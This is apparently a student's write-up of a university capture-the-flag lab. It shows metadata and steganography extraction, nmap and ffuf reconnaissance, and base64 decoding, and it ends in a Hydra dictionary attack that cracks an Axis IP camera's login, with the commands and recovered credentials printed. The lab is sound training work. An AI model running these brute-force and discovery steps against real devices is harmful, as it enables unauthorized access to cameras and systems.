

Lab03

Objectives

- Learn hacking
- Learn about metadata and hidden data
- Learn to use exploitation tools

Scenario

This lab challenged us to think outside the box. We were given a defined scope, but we really had to adopt a hacker mindset—exploring creative solutions, questioning assumptions, and approaching problems with an open mind.

```
(kali@kali)~$ exiftool /home/kali/Downloads/so2.jpg
ExifTool Version Number      : 13.10
File Name                    : so2.jpg
Directory                    : /home/kali/Downloads
File Size                    : 355 kB
File Modification Date/Time  : 2025:01:23 06:25:52-05:00
File Access Date/Time       : 2025:02:20 12:39:29-05:00
File Inode Change Date/Time  : 2025:01:23 06:25:52-05:00
File Permissions             : -rw-rw-r--
File Type                    : JPEG
File Type Extension          : jpg
MIME Type                    : image/jpeg
JFIF Version                 : 1.01
Resolution Unit              : inches
X Resolution                  : 96
Y Resolution                  : 96
Comment                      : f36f5e8883e7b51bd3c00d1f1cd040978a526b8c
Image Width                  : 1024
Image Height                 : 700
Encoding Process              : Baseline DCT, Huffman coding
Bits Per Sample              : 8
Color Components              : 3
Y Cb Cr Sub Sampling         : YCbCr4:2:0 (2 2)
Image Size                   : 1024x700
Megapixels                   : 0.717

(kali@kali)~$ steghide extract -sf /home/kali/Downloads/so2.jpg
Enter passphrase:
wrote extracted data to "supersecret.txt".

(kali@kali)~$
```

In the scope, I found a .jpg picture, so I used **ExifTool** to examine what was behind it. I discovered a comment that looked really interesting—possibly a passphrase. The next step was to use a tool called **Steghide**. I assumed Steghide had found something since it prompted for a passphrase. So, I used the comment found with ExifTool.

```
kali@kali:~$ cat supersecret.txt
from previous task you could (should) have gathered some interesting information like usernames. If not, then check the metadata of the found websites very carefully... Who have tested the main website?

1. Create a file users.txt and add found usernames (4) to that file.

Did you find any "secret" files, maybe even top secret files? If not, use ffuf and try to find a txt file from the target websites. There are files that are used to hide information from search engines. Take a look at those files and what information there is. Maybe something useful... Use ffuf to find those files:

ffuf -w /usr/share/dirbuster/wordlists/COMMON.txt -u http://[target]/P022 -mc 200

2. Top secret file contains an encoded string (very common encoding). Decode that string.

You should find four names mentioned on the decoded text.

3. Create all possible permutations of combining those four names, e.g. Name1Name2Name3Name4, Name1Name2Name3Name4... There are several permutation tools available in the internet, e.g. https://www.dcode.fr/permutations-generator. You should get 24 different variations, test strings.

4. Create a file passwords.txt and add previously generated "strings" to that file. One string per line.

Now you should have two files users.txt and passwords.txt. Let's use these as username and password lists in dictionary based attack.

Your aim is to access security camera of the WPK network. You found it in earlier lab, didn't you? If not, do some scanning with nmap to find the right target host (ip-address). A hint: It is Axis.

5. Try to find out whether IP-cam's webpage has authentication (basic or digest). This can be done with nmap scripts (search for http-related scripts) or with Wireshark. For nmap script, you'll need the URL path you are trying to access as an argument.

6. Check that the camera is reachable (it may crash during this exercise...)

7. Use suitable nmap script to attack the authentication of the camera with your usernames and passwords (files created earlier). You'll need to add suitable arguments to the nmap script to be able to hack the camera. At least you'll need username, password and a path argument.

Are there any villains doing nasty stuff in WPK datacenter?

Good luck!
```

The passphrase was correct and revealed some information for the next tasks. So, I began searching for users who might have accessed the scope's servers. I found them using **Nmap** and one of Nmap's HTTP-related scripts! I took those four users and saved them into a .txt file.

```
(kali@kali)-[~]
$ nmap --script=http-trace,http-methods,http-comments-displayer -p 80,443 ctf.wpk.tpu.fi

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 12:58 EST
Nmap scan report for ctf.wpk.tpu.fi (193.167.167.56)
Host is up (0.0017s latency).
rDNS record for 193.167.167.56: pc167-56.guest.tpu.fi

PORT      STATE SERVICE
80/tcp    open  http
|_ http-comments-displayer: Couldn't find any comments.
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
443/tcp    open  https
|_ http-methods:
|_   Supported Methods: GET HEAD
|_ http-comments-displayer:
|_   Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=ctf.wpk.tpu.fi

Path: https://ctf.wpk.tpu.fi:443/
Line number: 24
Comment:
|_   ↳ Tested with users huilailee, tooberts, despell and lara →

Nmap done: 1 IP address (1 host up) scanned in 22.83 seconds
```

The next step was to find some secret files on the website. This was done using **Ffuf**. I found one— .pdf file called *top-secret*! The PDF contained a Base64-encoded text. I used echo to decode and find out what the text was. As the text revealed, there were four names. I entered them into the permutation tool and saved the generated strings into another .txt file.

```
<main role="main">
  <div class="container">
    <p>a href="/files/32f61ff3b5f51ac8ca059402d136c1/top-secret.pdf">top-secret.pdf</a></p>
  </div>
</main>

<footer class="footer mt-5">
  <div class="container text-center">
    <a href="/files/32f61ff3b5f51ac8ca059402d136c1/top-secret.pdf">top-secret.pdf</a>
    <small class="text-muted">Powered by CTFd</small>
  </div>
</footer>

<script defer src="/themes/hacker-theme/static/js/vendor.bundle.min.js?id=f647258e"></script>
<script defer src="/themes/hacker-theme/static/js/core.min.js?id=f647258e"></script>
<script defer src="/themes/hacker-theme/static/js/helpers.min.js?id=f647258e"></script>
<script defer src="/themes/hacker-theme/static/js/pages/main.min.js?id=f647258e"></script>

body>
html>

kali@kali: ~
$ curl -H "Host: ctf.wpk.tpu.fi" https://ctf.wpk.tpu.fi/files/32f61ff3b5f51ac8ca059402d136c1/top-secret.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100 219328 100 219328    0     0  60909      0 --:--:-- --:--:-- --:--:--    61800

kali@kali: ~
$ cat top-secret.pdf
w4Rpd6ltaXJyaSBreXluZWxpc3DPpM0kb1BzeWxpYW4gaGVpZM0kdCBzdWxraQpTdWxvaXNpbWlhdCBreXluZWx1ZXQgb24gb25uZW4ga3l5bmVsZWV0cktpc3UsIFNpc3UsIFZpc3UsIE1pc3UsIG5lbGrDpCBraXNzYW5wb2lrYWVKw4RpZGluIG5ldXZvdCBqW6Rsa2Vlb2ZuZW4gb24gYVluYSB0b3RlbGx1ZXQ=" | base64 -d

Äitimirri kyynelissään syliin heidät sulki
Suloisimmat kyynleet on onnen kyynleet
Kisu, Sisu, Visu, Misu, neljä kissanpoikaa
Äidin neuvot jälkeen sen aina totelleet

kali@kali: ~
$
```

The next task was to find an IP camera within the scope. After locating the camera, the next step was to determine which authentication service it was using.

```
kali@kali: ~$ curl -v http://195.148.56.154/view/viewer_index.shtml?id=11283
* Trying 195.148.56.154:80 ...
* Connected to 195.148.56.154 (195.148.56.154) port 80
* using HTTP/1.x
> GET /view/viewer_index.shtml?id=11283 HTTP/1.1
> Host: 195.148.56.154
> User-Agent: curl/8.11.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Date: Thu, 25 Aug 2011 13:44:32 GMT
< Accept-Ranges: bytes
< Connection: close
< WWW-Authenticate: Digest realm="AXIS_00408CA84688", nonce="00b4b6e3Y6989821e61a814914b0346d189c7c8a9ba8f7", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_00408CA84688"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
<
<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>
<BODY><H1>401 Unauthorized</H1>
Your client does not have permission to get URL /view/viewer_index.shtml from this server.
</BODY></HTML>
* shutting down connection #0

kali@kali: ~$ curl -I http://195.148.56.154/view/viewer_index.shtml?id=11283
HTTP/1.1 401 Unauthorized
Date: Thu, 25 Aug 2011 13:53:42 GMT
Accept-Ranges: bytes
Connection: close
WWW-Authenticate: Digest realm="AXIS_00408CA84688", nonce="00b4b6909Y7259716f842b9709fa40e162ca1d81979cfad", stale=FALSE, qop="auth"
WWW-Authenticate: Basic realm="AXIS_00408CA84688"
Content-Type: text/html; charset=ISO-8859-1
```

The last task here was to use **Nmap** with a suitable script to attack the camera's authentication using the previously created .txt files. However, since **Nmap** did not work properly for this task (at least for me), I used **Hydra** instead. I successfully cracked the username and password for the IP camera's authentication, as shown in the picture.

```
kali@kali: ~/School
$ nano passwd.txt

kali@kali: ~/School
$ hydra -l /home/kali/School/users.txt -P /home/kali/School/passwd.txt 195.148.56.154 http-get /view/viewer_index.shtml?id=11283
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-24 11:32:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 96 login tries (l:4/p:24), ~6 tries per task
[DATA] attacking http-get://195.148.56.154:80/view/viewer_index.shtml?id=11283
[00][http-get] host: 195.148.56.154 login: kare password: KisuSisuVisuMisu
0 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-24 11:32:04

kali@kali: ~/School
$
```

After a successful "attack," I gained access to the target's IP camera.

